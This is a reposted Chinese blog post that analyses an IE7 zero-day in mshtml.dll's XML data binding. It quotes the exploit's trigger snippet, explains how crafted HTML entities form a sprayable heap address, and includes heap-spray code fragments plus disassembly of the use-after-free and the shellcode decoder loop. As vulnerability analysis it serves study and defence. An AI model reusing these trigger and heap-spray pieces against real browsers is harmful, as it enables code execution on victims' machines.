IE7 0day漏洞分析

轉載:天天向上網 http://www.52harry.com/network/2011-12-13/824.html

昨天不小心看到knownsec安全團隊發的文章,所以就想看看到底是怎麼造成的。

這兩天這個IE7的0day挺熱的,我也湊湊熱鬧,說實話,不怎麼會javascript,所以分析也挺費勁的,
但是大體知道是個怎麼回事觸發這個漏洞的了

0day代碼片斷
if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://&#114;&#2570;&#114;.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');

關鍵觸發是由於這個Image SRC的字段的數據造成的
http://&#114;&#2570;&#114;.book.com
mshtml.dll會對這個SRC作解析

&#114把十進制的114轉成0x0072
&#2570把十進制的2570轉成0x0a0a
剛好它們拼在一起就是一個可利用的堆地址
0x0a0a0072,通過heap spray,分配大量的內存
可使shellcode填充到這個地址空間去,所以我們可以修改這個值來構造我們
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape("%u0a0a%u0a0a");
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;

它是怎麼進入到0x0a0a0072這個地址的了,由於
重用了一個釋放了的對象的造成可以執行我們自已構造的數據,具體代碼如下
mshtml.dll CXfer::TransferFromSrc(void) 
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18                                         ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18                                         ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg           = VARIANTARG ptr -18h
.text:461E3D18 var_8           = dword ptr -8
.text:461E3D18 var_4           = dword ptr -4
.text:461E3D18
.text:461E3D18                 mov     edi, edi
.text:461E3D1A                 push    ebp
.text:461E3D1B                 mov     ebp, esp
.text:461E3D1D                 sub     esp, 18h
.text:461E3D20                 push    ebx
.text:461E3D21                 push    esi
.text:461E3D22                 mov     esi, ecx
.text:461E3D24                 xor     ebx, ebx
.text:461E3D26                 test    byte ptr [esi+1Ch], 9
.text:461E3D2A                 jnz     loc_461E3E2E

.text:461E3D30                 mov     eax, [esi] //eax==0x0a0a0072
.text:461E3D32                 cmp     eax, ebx
.text:461E3D34                 jz      loc_461E3E29
.text:461E3D3A                 cmp     [esi+4], ebx
.text:461E3D3D                 jz      loc_461E3E29
.text:461E3D43                 cmp     [esi+8], ebx
.text:461E3D46                 jz      loc_461E3E29
.text:461E3D4C                 mov     ecx, [eax] //可能是eax==0x0a0a0a0a
.text:461E3D4E                 push    edi
.text:461E3D4F                 push    eax
.text:461E3D50                 call    dword ptr [ecx+84h] //call 0x0a0a0aae
.text:461E3D56                 mov     eax, [esi+1Ch]
.text:461E3D59                 mov     edi, eax
.text:461E3D5B                 shr     edi, 1

call 0x0a0a0aae會執行如下指令,一直執行直到執行到shellcode處

0A2BF9B6    0A0A            or      cl, byte ptr [edx]
0A2BF9B8    0A0A            or      cl, byte ptr [edx]
0A2BF9BA    0A0A            or      cl, byte ptr [edx]
0A2BF9BC    0A0A            or      cl, byte ptr [edx]
0A2BF9BE    0A0A            or      cl, byte ptr [edx]
0A2BF9C0    0A0A            or      cl, byte ptr [edx]
0A2BF9C2    0A0A            or      cl, byte ptr [edx]
0A2BF9C4    0A0A            or      cl, byte ptr [edx]
0A2BF9C6    0A0A            or      cl, byte ptr [edx]
0A2BF9C8    0A0A            or      cl, byte ptr [edx]
0A2BF9CA    0A0A            or      cl, byte ptr [edx]
0A2BF9CC    0A0A            or      cl, byte ptr [edx]
0A2BF9CE    0A0A            or      cl, byte ptr [edx]
0A2BF9D0    0A0A            or      cl, byte ptr [edx]
0A2BF9D2    0A0A            or      cl, byte ptr [edx]
0A2BF9D4    0A0A            or      cl, byte ptr [edx]
0A2BF9D6    0A0A            or      cl, byte ptr [edx]
0A2BF9D8    0A0A            or      cl, byte ptr [edx]
0A2BF9DA    0A0A            or      cl, byte ptr [edx]
0A2BF9DC    0A0A            or      cl, byte ptr [edx]
0A2BF9DE    0A0A            or      cl, byte ptr [edx]
0A2BF9E0    0A0A            or      cl, byte ptr [edx]
0A2BF9E2    0A0A            or      cl, byte ptr [edx]
0A2BF9E4    0A0A            or      cl, byte ptr [edx]
0A2BF9E6    0A0A            or      cl, byte ptr [edx]
0A2BF9E8    0A0A            or      cl, byte ptr [edx]

0A2BF9EA    90              nop   //shellcode
0A2BF9EB    90              nop
0A2BF9EC    25 00750090     and     eax, 90007500
0A2BF9F1    90              nop
0A2BF9F2    90              nop
0A2BF9F3    90              nop
0A2BF9F4    D9E1            fabs
0A2BF9F6    D93424          fstenv (28-byte) ptr [esp]
0A2BF9F9    58              pop     eax
0A2BF9FA    58              pop     eax
0A2BF9FB    58              pop     eax
0A2BF9FC    58              pop     eax
0A2BF9FD    33DB            xor     ebx, ebx
0A2BF9FF    B3 1C           mov     bl, 1C
0A2BFA01    03C3            add     eax, ebx
0A2BFA03    31C9            xor     ecx, ecx
0A2BFA05    66:81E9 65FA    sub     cx, 0FA65
0A2BFA0A    8030 21         xor     byte ptr [eax], 21
0A2BFA0D    40              inc     eax
0A2BFA0E ^ E2 FA           loopd   short 0A2BFA0A

發佈了21 篇原創文章 · 獲贊 4 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章